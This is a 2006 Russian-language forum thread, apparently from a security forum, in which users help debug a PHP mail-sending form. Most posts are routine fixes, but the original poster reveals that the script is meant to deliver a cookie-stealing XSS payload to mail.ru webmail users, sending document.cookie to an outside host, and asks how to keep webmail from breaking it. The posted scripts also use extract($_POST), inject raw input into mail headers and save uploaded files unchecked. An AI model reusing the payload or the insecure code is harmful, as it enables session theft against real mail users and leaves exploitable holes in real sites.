Просмотр полной версии : e-mail php script
alex-19841
17.05.2006, 11:24
Знатоки PHP погогите ниписать mail скрипт как здесь
http://soft-one.com/phpBB2/cache/f/mail.php
я пробовал написать свой но когда отпровлял линк http://site.ru
через свой скрипт то то при получении в письме он авоматически переделывался в
<a href="http://site.ru">http://site.ru</a>
А мне бы надо как http://soft-one.com/phpBB2/cache/f/mail.php
при отправки линка чтоб он приходил как текст, а не переделывался в линк.
Зарание благодарен.
Dracula4ever
17.05.2006, 11:42
alex-19841 вот:
<HTML>
<HEAD>
<META http-equiv="content-type" content="text/HTML; charset=windows-1255">
<META http-equiv="content-language" content="hw">
<META name="author" content="Eli Hen">
<TITLE>dracula4ever e-mail send</TITLE>
</HEAD>
<BODY>
<DIV align="right" dir="rtl">
<H2><U>dracula4ever e-mail send</U></H2>
<?
$to = "your email";
$subj = "New mail meesage";
$mes = "Message";
$from = "his email";
$head = "Content-Type: text/plain;";
mail($to, $subj, $mes, $from, $head);
?>
</DIV>
</BODY>
</HTML>
GreenBear
17.05.2006, 11:43
<?php
$to = "mail@mail.ru";
$subj = "New mail";
$mes = "Message";
$from = "from@mail.ru";
$head = "Content-Type: text/plain; charset=koi8-r";
mail($to, $subj, $mes, $from, $head);
?>
http://ru.php.net/manual/ru/ref.mail.php
alex-19841
17.05.2006, 13:08
Mail.php
<?
$to = $_POST["to"];
$subj = $_POST["subj"];
$mes = $_POST["mes"];
$from = $_POST["from"];
$head="Content-Type: text/plain;";
if mail($to, $subj, $mes, $from, $head);{
echo "Mail has been sended.";
} else {
echo "Mail was not sended.";
}
?>
form.php
<form method=post action="mail.php">
To:<input type=text name=email><br>
Subj:<input type=text name=subj><br>
From:<input type=text name=from><br>
<textarea cols=40 rows=10 name=mess>
</textarea><br>
<input type=submit name=mail>
</form>
Странно но не осылается :(
GreenBear
17.05.2006, 13:34
if (mail($to, $subj, $mes, $from, $head))
ferryman
17.05.2006, 14:16
mail (http://ua2.php.net/manual/ru/ref.mail.php)
function mail() (http://ua2.php.net/manual/ru/function.mail.php)
Dracula4ever
17.05.2006, 14:29
Mail.php
<?
$to = $_POST["to"];
$subj = $_POST["subj"];
$mes = $_POST["mes"];
$from = $_POST["from"];
$head="Content-Type: text/plain;";
if mail($to, $subj, $mes, $from, $head);{
echo "Mail has been sended.";
} else {
echo "Mail was not sended.";
}
?>
form.php
<form method=post action="mail.php">
To:<input type=text name=email><br>
Subj:<input type=text name=subj><br>
From:<input type=text name=from><br>
<textarea cols=40 rows=10 name=mess>
</textarea><br>
<input type=submit name=mail>
</form>
Странно но не осылается :(
скажи ты вожще установил на своём компьюторе PHP??
censored!
17.05.2006, 15:18
авоматически переделывался
Он "переделывался" программой, которой ты смотришь это письмо. Она если встречает надпись похожую на синтаксис ссылки (http://) - дополняет ее тегами.
я пробовал написать свой но когда отпровлял линк http://site.ru
Сделай его не ссылкой, а текстом:
Вот так ссылка:
http://site.ru
Так - нет:
httр://site.ru
Разница - в букве p (httР). Она русская.
Но - на вид это вроде ссылка, но когда кто-нить ее скопирует и вставит в адресную строку и жмахнет на Ентер - такого сайта не будет. Сообразят они адрес подправить или нет - мы не знаем.
Или тогда посылай просто:
site.ru
Странно но не осылается
Может из-за этого? -> твой скрипт обращается к несуществующему файлу, те сохрани как mail.php :)
GreenBear
17.05.2006, 16:52
Может из-за этого? -> твой скрипт обращается к несуществующему файлу, те сохрани как mail.php
if mail($to, $subj, $mes, $from, $head);
а должно отсылаться-то?
Green_Bear: не понял тебя.. я говорил про это:
http://forum.antichat.ru/showpost.php?p=151935&postcount=4.
GreenBear
17.05.2006, 17:01
Ну я и привел строку оттуда.
//О.. я и не увидел)))
if (mail($to, $subj, $mes, $from, $head))
{
echo "Mail has been sended.";
} else {
echo "Mail was not sended.";
}
//да и еще:
$mes = $_POST["mes"]; // тогда уж
$mes = $_REQUEST['mess'];
if mail($to, $subj, $mes, $from, $head);
чё за брехня $from этого там не должно быть
Фром указывается в хедере
alex-19841
18.05.2006, 03:06
r0cha!
Глазастый :)
Все выше указаные примеры перепробывал - не помогло.
Сервак поддерживает php это jino
alex-19841
18.05.2006, 03:33
Может быть в натуре сервак jino глючит?
скажи ты вожще установил на своём компьюторе PHP??
А нафига вообще устанавливать у ся РНР? Ведь можно зарегать какой нить бесплатный сайт с поддержкой РНР (hut.ru, holm.ru, xaker.ru) и теститить с него.
И не надо мозги парить с установкой. Я лично так и делаю.
alex-19841
18.05.2006, 08:05
я же говорю экяунт на
name.jino-net.ru
вообще
if function();{
это сильно... Я бы за такое родителей в школу вызывал бы...
А вообще очень интересно КУДА он отправляет мыло... $_POST['to']... Учитывая что нет на форме объектов с таким именем, то, видимо, усаме бен ладену или дядюшке ахмеду...
ferryman
18.05.2006, 10:26
Блин... А слабо доки почитать или попробовать самый простой способ - mail("your@email.com", "Subject\n", "message\n","From: send@email.com\n"); ???
censored!
18.05.2006, 12:30
я тока единственное не понял:
я пробовал написать свой но когда отпровлял линк http://site.ru
через свой скрипт то то при получении в письме он авоматически переделывался в
т.е. у alex-19841 все и так отправляется. или нет?
Trinux верно подметил..
$to = $_REQUEST['email'];
Undernative
19.05.2006, 16:08
Делаешь 3 файла
ПРошу прощения,пришлось удалить пост в своих же целях !Если что обращаться в личку !
ПРОСТО dracula4ever тут допустил ошибку...вот смотрим:
<textarea cols=40 rows=10 name=mess> а вот тут имя уже
ПРОСТО dracula4ever тут допустил ошибку...вот смотрим:
<textarea cols=40 rows=10 name=mess> а вот тут имя уже у перемнной mess с одной "s"
$to = $_POST["to"];
$subj = $_POST["subj"];
$mes = $_POST["mes"];
$from = $_POST["from"];
$head="Content-Type: text/plain;";
if mail($to, $subj, $mes, $from, $head);
Господин $pon$or купите очки...
http://forum.antichat.ru/showpost.php?p=152055&postcount=13
http://forum.antichat.ru/showpost.php?p=152402&postcount=22
Undernative
24.05.2006, 14:17
А мне никто плюсик не даст ? :(
ferryman
24.05.2006, 14:47
Зачем было столько кода пихать в один пост? И делается это одним файлом(конечно на любителя).
Undernative
24.05.2006, 14:49
Извините. просто так получилось :(
Undernative
24.05.2006, 18:03
Надеюсь я вам помоГ :) 2ferryman я просто оч давно скрипт делал и почастям делал ,поэтому как то привык через три файла его делать :)а так спс за поправку :)
nc.STRIEM
24.05.2006, 23:20
А че за хост?
платный? есле Holm то бесполезно, там гдет месяца 2 как почта перестала работать!
Undernative
25.05.2006, 13:36
хост jino-net.
бесплатный но рульный :)
alex-19841
16.06.2006, 09:30
Все написал :)
<?php
@extract($_POST);
$to = stripslashes($to);
$name = stripslashes($name);
$email = stripslashes($email);
$subject = stripslashes($subject);
$text = stripslashes($text);
mail($to,$subject,$text,"From: $name <$email>");
header("location:form.php");
?>
Осталась проблемма то что если линк отсылаешь например _http://www.site.ru без "_"
то когда на маил ру письмо приходит то это линк автоматически переходит в <a href="...">......</a> т.е становится активным. А мне надо чтоб как текст приходил.
Я пробовал делать
<?php
@extract($_POST);
$to = stripslashes($to);
$name = stripslashes($name);
$email = stripslashes($email);
$subject = stripslashes($subject);
$text = stripslashes($text);
$headers = "Content-Type: text/plain; charset=koi8-r";
mail($to,$subject,$text,"From: $name <$email>", $headers);
header("location:form.php");
?>
Не помогло - письмо вообще не приходит.
Может есть у кого какие размышления.
Зарание благодарен.
Чё-то я вообще не понимаю..... ты снаала пишешь то что у тебя вообще ничего не приходит, а потом пишешь, что что-то пришло, если что посткчи ко мне в аську, там разберёмся.... 262122622
alex-19841
16.06.2006, 22:37
Да не.
Я говорю что все осылается и работает. По этому скрипту
<?php
@extract($_POST);
$to = stripslashes($to);
$name = stripslashes($name);
$email = stripslashes($email);
$subject = stripslashes($subject);
$text = stripslashes($text);
mail($to,$subject,$text,"From: $name <$email>");
header("location:form.php");
?>
Но одна проблема в том что, когда отсылаешь
<script>
img=new Image(); img.src="http://s.netsec.ru/doааc.gif?"+document.cookie;
</script>
то кодгда идеш на маил и проверяешь письмо, то оно переделывается в такое письмо
<script>
img=new Image(); img.src=<a href="http://s.netsec.ru/doaac.gif?">+document.cookie;</a>
</script>
Т.е срабатывает авто линк - как на форуме
если в ставить www.google.com
после нажатия на отправить пост будет выглядеть так ,<a hreff="www.google.com">www.google.com</a>
я пробовал написать свой но когда отпровлял линк http://site.ru
через свой скрипт то то при получении в письме он авоматически переделывался в
Код:
<a href="http://site.ru">http://site.ru</a>
А мне бы надо как http://soft-one.com/phpBB2/cache/f/mail.php
при отправки линка чтоб он приходил как текст, а не переделывался в линк.
alex-19841
16.06.2006, 22:41
Если че не понятно, напишите
alex-19841
17.06.2006, 16:22
Не ужели никто не знает?
Тебе везёт, что я сегодня не занят..... вот =>ТУТ<= (http://killsite.narod.ru/mail.html) Я для тебя набрасал как чего делается.... ТУт все написано доступным языком, только кажется, что много
Щас схожу покурить, и напишу сам скрипт для отправки + класс для автоматизации отпраки сообщений! :cool:
Вот написал.... попробуй,работает,аль нет...
Качать ЗДЕСЬ (http://killsite.narod.ru/www.rar) :)
C тебя + за работу......
alex-19841
18.06.2006, 03:57
Неа таже проблема :(
Тык ты читал про то,что я тебе писал?
И вообще попробуй в скрипт дописать
$header="Content-type: text/plain; charset=\"windows-1251\""; Просто я не помню писал я это в свой скрипт... :rolleyes:
alex-19841
18.06.2006, 07:11
Дописал, всеравно письмо приходит с автолинком
<?php
if(empty($_POST['mail_to'])) exit("muratzuev@mail.ru");
// проверяем правильности заполнения с помощью регулярного выражения
if (!preg_match("/^[0-9a-z_]+@[0-9a-z_^\.]+\.[a-z]{2,3}$/i", $_POST['mail_to'])) exit("muratzuev@mail.ru");
$_POST['mail_to'] = htmlspecialchars(stripslashes($_POST['mail_to']));
$_POST['mail_subject'] = htmlspecialchars(stripslashes($_POST['mail_subject']));
$_POST['mail_msg'] = htmlspecialchars(stripslashes($_POST['mail_msg']));
$picture = "";
// Если поле выбора вложения не пустое - закачиваем его на сервер
if (!empty($_FILES['mail_file']['tmp_name']))
{
// Закачиваем файл
$path = $_FILES['mail_file']['name'];
if (copy($_FILES['mail_file']['tmp_name'], $path)) $picture = $path;
}
$thm = $_POST['mail_subject'];
$msg = $_POST['mail_msg'];
$mail_to = $_POST['mail_to'];
// Отправляем почтовое сообщение
if(empty($picture)) mail($mail_to, $thm, $msg);
else send_mail($mail_to, $thm, $msg, $picture);
// Вспомогательная функция для отправки почтового сообщения с вложением
function send_mail($to, $thm, $html, $path)
{
$fp = fopen($path,"r");
if (!$fp)
{
print "Файл $path не может быть прочитан";
exit();
}
$file = fread($fp, filesize($path));
fclose($fp);
$boundary = "--".md5(uniqid(time())); // генерируем разделитель
$headers .= "MIME-Version: 1.0\n";
$headers .="Content-Type: multipart/mixed; boundary=\"$boundary\"\n";
$headers .="Content-type: text/plain; charset=\"windows-1251\"";
$multipart .= "--$boundary\n";
$kod = 'koi8-r'; // или $kod = 'windows-1251';
$multipart .= "Content-Type: text/html; charset=$kod\n";
$multipart .= "Content-Transfer-Encoding: Quot-Printed\n\n";
$multipart .= "$html\n\n";
$message_part = "--$boundary\n";
$message_part .= "Content-Type: application/octet-stream\n";
$message_part .= "Content-Transfer-Encoding: base64\n";
$message_part .= "Content-Disposition: attachment; filename = \"".$path."\"\n\n";
$message_part .= chunk_split(base64_encode($file))."\n";
$multipart .= $message_part."--$boundary--\n";
if(!mail($to, $thm, $multipart, $headers))
{
echo "Чё-т не могу отправить...";
exit();
}
}
?>
Я вот думаю, а может на jino-net так сервер настроен?(просто сам там, никогда не "хостился"....), или тогда вот это:
$header.="Content-type: text/html; charset=\"windows-1251\"";
блин, если не работает, то или сервак такой, или я в осадок выпаду......
alex-19841
19.06.2006, 07:34
Dr.Check
Да я вот тоже смотрю вроде все правильно, а не работает.
А у тебя есть какойнибудь сервачек чтоб скрипт проверить?
alex-19841
19.06.2006, 08:12
все нашел скрипт который работает, вот здесь
http://forum.antichat.ru/thread20636.html
Dark Angel
18.07.2006, 00:10
ну что работает я ешё непробывал!!
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot